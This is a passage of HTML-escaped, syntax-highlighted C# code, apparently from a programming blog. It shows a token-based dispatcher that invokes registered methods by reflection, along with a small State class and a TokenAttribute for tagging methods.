class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;122&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// the data returned from the command&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;123&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Empty&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;124&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;default&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;MethodInfo&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;125&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;126&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// see if we have a method for that token&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;127&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;TryGetValue&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;out&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;))&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;128&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;129&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// if so, create an instance of the object, and then execute the method,&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;130&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;c1&#34;&gt;// unless it&amp;#39;s static.. in which case just execute the method.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;131&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;null&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;132&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;if&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(!&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;IsStatic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;133&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;134&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// this just invokes the default constructor... if you need to pass&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;135&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;c1&#34;&gt;// parameters use one of the other overloads.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;136&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Activator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;CreateInstance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;ReflectedType&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;137&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;138&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;139&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;object&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tag&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;cmdLine&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;};&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;140&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;141&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;method&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Invoke&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;instance&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;142&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;args&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[&lt;/span&gt;&lt;span class=&#34;m&#34;&gt;3&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;];&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;143&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;144&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;else&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;145&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;146&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;throw&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenNotFoundException&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Format&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s&#34;&gt;&amp;#34;Token {0} not found. Cannot execute.&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;token&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;147&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;148&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;outData&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;149&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;150&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;151&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;IEnumerable&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetTokens&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;152&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;153&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;foreach&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KeyValuePair&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;in&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;availableFunctions&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;154&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;155&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;k&#34;&gt;yield&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;entry&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Key&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;156&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;157&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;158&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;159&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;160&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;State&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;161&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;162&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;163&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;164&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;165&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;166&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;167&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;168&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;169&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Text&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;170&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;171&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;172&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_text&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;173&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;174&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;175&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;static&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;GetStateFromString&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;176&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;177&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;c1&#34;&gt;// implement parsing of string to build State object here.&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;178&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;State&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;state&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;179&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;180&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;181&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;182&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;&lt;span class=&#34;na&#34;&gt;    [AttributeUsage(AttributeTargets.Method)]&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;183&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;class&lt;/span&gt; &lt;span class=&#34;nc&#34;&gt;TokenAttribute&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;:&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Attribute&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;184&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;185&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenAttribute&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;186&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;187&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;188&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;189&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;190&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;private&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;191&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt; &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;192&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;k&#34;&gt;public&lt;/span&gt; &lt;span class=&#34;kt&#34;&gt;string&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;TokenName&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;193&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;194&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;get&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;return&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;195&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;set&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;_tokenName&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;k&#34;&gt;value&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;;&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;196&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;ln&#34;&gt;197&lt;/span&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span 